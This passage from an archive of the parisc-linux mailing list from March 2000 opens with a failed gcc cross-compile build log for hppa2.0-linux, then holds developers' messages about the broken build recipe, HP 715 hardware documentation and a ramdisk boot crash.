../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cpperror.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cpperror.c:26:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cppexp.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cppexp.c:27:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cppfiles.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cppfiles.c:26:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include \
  -DGCC_INCLUDE_DIR=\"/opt/puffin64/lib/gcc-lib/hppa2.0-linux/2.9-hppa-991112/include\" -DGPLUSPLUS_INCLUDE_DIR=\"/opt/puffin64/lib/gcc-lib/hppa2.0-linux/2.9-hppa-991112/../../../..`echo /opt/puffin64 | sed -e 's|^/opt/puffin64||' -e 's|/[^/]*|/..|g'`/include/g++-\" -DLOCAL_INCLUDE_DIR=\"/opt/puffin64/include\" -DCROSS_INCLUDE_DIR=\"/opt/puffin64/lib/gcc-lib/hppa2.0-linux/2.9-hppa-991112/../../../../hppa2.0-linux/sys-include\" -DTOOL_INCLUDE_DIR=\"/opt/puffin64/lib/gcc-lib/hppa2.0-linux/2.9-hppa-991112/../../../../hppa2.0-linux/include\" \
  -c `echo ../../gcc/gcc/cppinit.c | sed 's,^\./,,'`
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cppinit.c:21:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/cppulp.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from config.h:8,
                 from ../../gcc/gcc/cppulp.c:21:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
ar rc libcpp.a cpplib.o cpphash.o cppalloc.o cpperror.o cppexp.o cppfiles.o cppinit.o cppulp.o prefix.o version.o mbchar.o 
if [ -f true ] || [ -f /usr/bin/ranlib -o -f /bin/ranlib ] ; then true libcpp.a ; else true ; fi
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H  -o gen-protos \
  gen-protos.o scan.o libcpp.a ` case "obstack.o" in ?*) echo obstack.o ;; esac ` ` case "alloca.o" in ?*) echo alloca.o ;; esac ` ` case "" in ?*) echo  ;; esac `  ` case "" in ?*) echo  ;; esac ` ` case "" in ?*) echo  ;; esac ` 
cat deduced.h ../../gcc/gcc/sys-protos.h > tmp-fixtmp.c
mv tmp-fixtmp.c fixtmp.c
/linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include fixtmp.c -w -U__SIZE_TYPE__ -U__PTRDIFF_TYPE__ -U__WCHAR_TYPE__ -E \
  | sed -e 's/  / /g' -e 's/ *(/ (/g' -e 's/ [ ]*/ /g' -e 's/( )/()/' \
  | ./gen-protos >xsys-protos.hT
mv xsys-protos.hT xsys-protos.h
rm -rf fixtmp.c
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/fix-header.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from hconfig.h:8,
                 from ../../gcc/gcc/fix-header.c:73:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -c -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H    -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include ../../gcc/gcc/scan-decls.c
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-pahpux.h:47,
                 from hconfig.h:8,
                 from ../../gcc/gcc/scan-decls.c:20:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
gcc -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2   -DHAVE_CONFIG_H  -o fix-header fix-header.o \
   scan-decls.o scan.o libcpp.a ` case "obstack.o" in ?*) echo obstack.o ;; esac ` ` case "alloca.o" in ?*) echo alloca.o ;; esac ` ` case "" in ?*) echo  ;; esac `  ` case "" in ?*) echo  ;; esac ` ` case "" in ?*) echo  ;; esac ` 
rm -f fixproto-defines; \
    echo "#!/bin/sh" > fixproto-defines ; \
    echo "# Print FIXPROTO_DEFINES needed by fixproto." >> fixproto-defines ; \
    echo "echo '-D_HPUX_SOURCE'" >> fixproto-defines ; \
    chmod +x fixproto-defines
if [ -f fixhdr.ready ] ; then \
        true; \
else \
        touch fixhdr.ready; \
fi
Various warnings and error messages from fixproto are normal
if [ -d include ] ; then true; else mkdir include; fi
if [ -f include/fixed ] ; then true; \
else \
  : This line works around a 'make' bug in BSDI 1.1.; \
  FIXPROTO_DEFINES="-D_HPUX_SOURCE"; export FIXPROTO_DEFINES; \
  mkinstalldirs="/bin/sh ../../gcc/gcc/mkinstalldirs"; \
    export mkinstalldirs; \
  if [ -d /opt/puffin64/hppa2.0-linux/sys-include ] ; then \
    /bin/sh ../../gcc/gcc/fixproto include include /opt/puffin64/hppa2.0-linux/sys-include; \
  else true; fi; \
  touch include/fixed; \
fi
touch stmp-fixproto
echo "void __foo () {}" > dummy.c
/linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2  -I./include  -c dummy.c
hppa2.0-linux-ar rc libgcc1.null dummy.o
rm -f dummy.o dummy.c
if [ -f libgcc2.ready ] ; then \
        true; \
else \
        touch libgcc2.ready; \
fi
rm -f lib2funcs.asm
cp ../../gcc/gcc/config/pa/lib2funcs.asm .
case " c proto gcov c++ " in \
*" "[cC]"++ "*) \
  echo tinfo.o tinfo2.o new.o opnew.o opnewnt.o opvnew.o opvnewnt.o opdel.o opdelnt.o opvdel.o opvdelnt.o exception.o > cplib2.new;; \
*) \
  echo "" > cplib2.new;; \
esac
mv -f cplib2.new cplib2.txt 
rm -f tmplibgcc2.a
for name in _muldi3 _divdi3 _moddi3 _udivdi3 _umoddi3 _negdi2 _lshrdi3 _ashldi3 _ashrdi3 _ffsdi2 _udiv_w_sdiv _udivmoddi4 _cmpdi2 _ucmpdi2 _floatdidf _floatdisf _fixunsdfsi _fixunssfsi _fixunsdfdi _fixdfdi _fixunssfdi _fixsfdi _fixxfdi _fixunsxfdi _floatdixf _fixunsxfsi _fixtfdi _fixunstfdi _floatditf __gcc_bcmp _varargs __dummy _eprintf _bb _shtab _clear_cache _trampoline __main _exit _ctors _pure; \
do \
  echo ${name}; \
  /linux/grundler/gcc-build/gcc/xgcc -B/linux/grundler/gcc-build/gcc/ -B/opt/puffin64/hppa2.0-linux/bin/ -I/opt/puffin64/hppa2.0-linux/include -O2  -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -O2  -I./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED   -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include -c -DL${name} \
       ../../gcc/gcc/libgcc2.c -o ${name}.o; \
  if [ $? -eq 0 ] ; then true; else exit 1; fi; \
  hppa2.0-linux-ar rc tmplibgcc2.a ${name}.o; \
  rm -f ${name}.o; \
done
_muldi3
In file included from tm.h:12,
                 from ../../gcc/gcc/config/pa/xm-linux64.h:41,
                 from tconfig.h:5,
                 from ../../gcc/gcc/libgcc2.c:33:
../../gcc/gcc/config/pa/pa-64.h:173: warning: `USE_CONST_SECTION' redefined
../../gcc/gcc/config/pa/linux.h:66: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:349: warning: `INT_ASM_OP' redefined
../../gcc/gcc/config/svr4.h:424: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:358: warning: `ASM_OUTPUT_CONSTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:621: warning: this is the location of the previous definition
../../gcc/gcc/config/pa/pa-64.h:368: warning: `ASM_OUTPUT_DESTRUCTOR' redefined
../../gcc/gcc/config/svr4.h:631: warning: this is the location of the previous definition
../../gcc/gcc/libgcc2.c:41: stdlib.h: No such file or directory
../../gcc/gcc/libgcc2.c:42: unistd.h: No such file or directory
make[1]: *** [libgcc2.a] Error 1
make[1]: Leaving directory `/linux/grundler/gcc-build/gcc'
make: *** [all-gcc] Error 2
grundler <510>pwd
/linux/grundler/gcc-build


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building hppa2.0 toolchain
Date: Wed, 22 Mar 2000 18:00:29 -0500
Lines: 5
Approved: news@gmane.org
Message-ID: <20000322180029.B10226@thepuffingroup.com>
References: <200003222055.MAA19735@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618850 31607 80.91.229.3 (22 Nov 2014 01:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Wed Mar 22 16:02:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10614
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 16:02:12 -0700
Original-Received: (qmail 16862 invoked by uid 15267); 22 Mar 2000 22:03:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16786 invoked from network); 22 Mar 2000 22:03:41 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 22:03:41 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA11205;
	Wed, 22 Mar 2000 18:00:29 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200003222055.MAA19735@milano.cup.hp.com>; from Grant Grundler on Wed, Mar 22, 2000 at 12:55:41PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:7079


um, looks like the recipe was wrong.  My mistake.  I'm updating the
recipe now.



From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Any docs on the 715?
Date: Wed, 22 Mar 2000 23:35:52 +0100 (CET)
Lines: 8
Approved: news@gmane.org
Message-ID: <200003222235.XAA11684@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618850 31610 80.91.229.3 (22 Nov 2014 01:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: danne@zaphod.halden.lillfab.se  Wed Mar 22 16:34:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11192
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 16:34:51 -0700
Original-Received: (qmail 11168 invoked by uid 15267); 22 Mar 2000 22:36:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11141 invoked from network); 22 Mar 2000 22:36:21 -0000
Original-Received: from t2o70p27.telia.com (HELO zaphod.halden.lillfab.se) (root@62.20.148.147)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 22:36:21 -0000
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA11684
	for parisc-linux@thepuffingroup.com; Wed, 22 Mar 2000 23:35:52 +0100
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id QAA11192
Xref: news.gmane.org gmane.linux.ports.parisc:7080

Are there any documents on the ASICs found in the 715 available? 
The stuff on the web page only seem the cover newer boxes.

/Daniel
-- 
Daniel Engstrm - Lilla Fabriken AB - Technical Support
daniel@lillfab.se - Work related.  5116@telia.com - Private.


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO and ramdisk micro-howto
Date: Wed, 22 Mar 2000 23:33:21 +0100 (CET)
Lines: 33
Approved: news@gmane.org
Message-ID: <200003222233.XAA11675@zaphod.halden.lillfab.se>
References: <E12XSiA-00022u-00@endor.fc.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618850 31616 80.91.229.3 (22 Nov 2014 01:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: danne@zaphod.halden.lillfab.se  Wed Mar 22 16:35:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11276
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 16:35:08 -0700
Original-Received: (qmail 11419 invoked by uid 15267); 22 Mar 2000 22:36:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11378 invoked from network); 22 Mar 2000 22:36:39 -0000
Original-Received: from t2o70p27.telia.com (HELO zaphod.halden.lillfab.se) (root@62.20.148.147)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 22:36:39 -0000
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA11675;
	Wed, 22 Mar 2000 23:33:21 +0100
In-Reply-To: <E12XSiA-00022u-00@endor.fc.hp.com>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id QAA11276
Xref: news.gmane.org gmane.linux.ports.parisc:7081

On 21 Mar, Paul Bame wrote:
> In palo/Makefile, comment out NFSROOT= and uncomment the RAMDISK= line
> which assumes your ramdisk is the file ../linux-2.3/ramdisk.bin which
> is the way we used to have things.  Make sure you have a ramdisk in that
> file (or change RAMDISK=).
> 
I tried this with my 715/50 and current CVS kernel and palo as of today.

I got the following results:

[...]

RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
SCSI clock: 50000000
Lasi Scsi (53c700) found at 0xf0825100
scsi-ncr53c7xx : unsupported SCSI chip 700
scsi : 0 hosts.
scsi : detected total.
IP-Config: No network devices available.
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 600 blocks [1 disk] into ram disk... done. 
kernel BUG at block_dev.c:411! 
kernel BUG at block_dev.c:411!


Any ideas?

/Daniel

-- 
Daniel Engstrm - Lilla Fabriken AB - Technical Support
daniel@lillfab.se - Work related.  5116@telia.com - Private.


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any docs on the 715?
Date: Wed, 22 Mar 2000 14:50:48 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200003222250.OAA19999@milano.cup.hp.com>
References: <200003222235.XAA11684@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618851 31619 80.91.229.3 (22 Nov 2014 01:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: grundler@cup.hp.com  Wed Mar 22 16:47:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11525
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 16:47:08 -0700
Original-Received: (qmail 20381 invoked by uid 15267); 22 Mar 2000 22:48:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20372 invoked from network); 22 Mar 2000 22:48:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 22:48:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP
	id B3F731887; Wed, 22 Mar 2000 17:48:40 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id OAA19999; Wed, 22 Mar 2000 14:50:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Mar 2000 23:35:52 PST."
             <200003222235.XAA11684@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:7082

5116@telia.com wrote:
> Are there any documents on the ASICs found in the 715 available? 
> The stuff on the web page only seem the cover newer boxes.
> 
> /Daniel

Daniel,
Could you be more specific about what's missing?

See http://216.208.98.4/view.php3?type=machine&name=715%2F100

The PCX-L (PA7100LC) and LASI chip are documented.

WAX (EISA) support is not. Check if mklinux or openbsd have something
for this already and , erm, "borrow" it.

If Steve Shack gets the STI graphics support working for his 712,
it might also work on your 715. He's borrowing from one of the
other open source ports too.

WAX (EISA) support is not. Check if mklinux or openbsd have something
for this already and , erm, "borrow" it.
I don't see much else that isn't documented.

grant

Grant Grundler
Unix Development Lab
+1.408.447.72


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any docs on the 715?
Date: Wed, 22 Mar 2000 17:09:13 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20000322170913.B11714@puffin.external.hp.com>
References: <200003222235.XAA11684@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618851 31621 80.91.229.3 (22 Nov 2014 01:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:11 +0000 (UTC)
To: 5116@telia.com, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Wed Mar 22 17:09:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11795
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 17:09:17 -0700
Original-Received: (qmail 3804 invoked by uid 15267); 22 Mar 2000 23:10:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3791 invoked from network); 22 Mar 2000 23:10:50 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 22 Mar 2000 23:10:50 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id RAA11790;
	Wed, 22 Mar 2000 17:09:13 -0700
X-Mailer: Mutt 0.93.2
In-Reply-To: <200003222235.XAA11684@zaphod.halden.lillfab.se>; from 5116@telia.com on Wed, Mar 22, 2000 at 11:35:52PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7083

> Are there any documents on the ASICs found in the 715 available? 
> The stuff on the web page only seem the cover newer boxes.

There are two kinds of 715;  if you're lucky, you've got a "new" 715,
which has (really, check the hardware database for details) Lasi and
a PA7100LC, both documented, and undocumented graphics (all graphics
is).  There is very little difference between such 715s and 712s.

If you're unlucky (like me), you've got an "old" 715, which has ASP
(a Lasi predecessor) and what I believe is a PA7100.

Here's the list of things that work on the two boxes (* for things I
haven't actually checked, but believe should work):

715 old:
	network (10 mbit/s ethernet with a 10 base t transceiver)
	1 bpp unaccelerated framebuffer
	keyboard (HIL) *
	sound *
	serial *

715 new:
	network *
	1bpp unaccelerated framebuffer *
	keyboard (either PS/2 or HIL, both should work) *
	sound *
	serial *

I don't know about the 715 scsi chip, the eisa slot, parallel;
I don't think anyone has worked out how to use the LEDs yet.

	Philipp Rumpf


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any docs on the 715?
Date: Wed, 22 Mar 2000 21:57:49 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20000322215749.C10226@thepuffingroup.com>
References: <200003222235.XAA11684@zaphod.halden.lillfab.se> <20000322170913.B11714@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618851 31624 80.91.229.3 (22 Nov 2014 01:14:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:11 +0000 (UTC)
Cc: 5116@telia.com, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: willy@thepuffingroup.com  Wed Mar 22 19:56:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA12939
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 19:56:22 -0700
Original-Received: (qmail 6972 invoked by uid 15267); 23 Mar 2000 01:57:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6965 invoked from network); 23 Mar 2000 01:57:55 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Mar 2000 01:57:55 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id VAA11701;
	Wed, 22 Mar 2000 21:57:49 -0500
X-Mailer: Mutt 0.95.4us
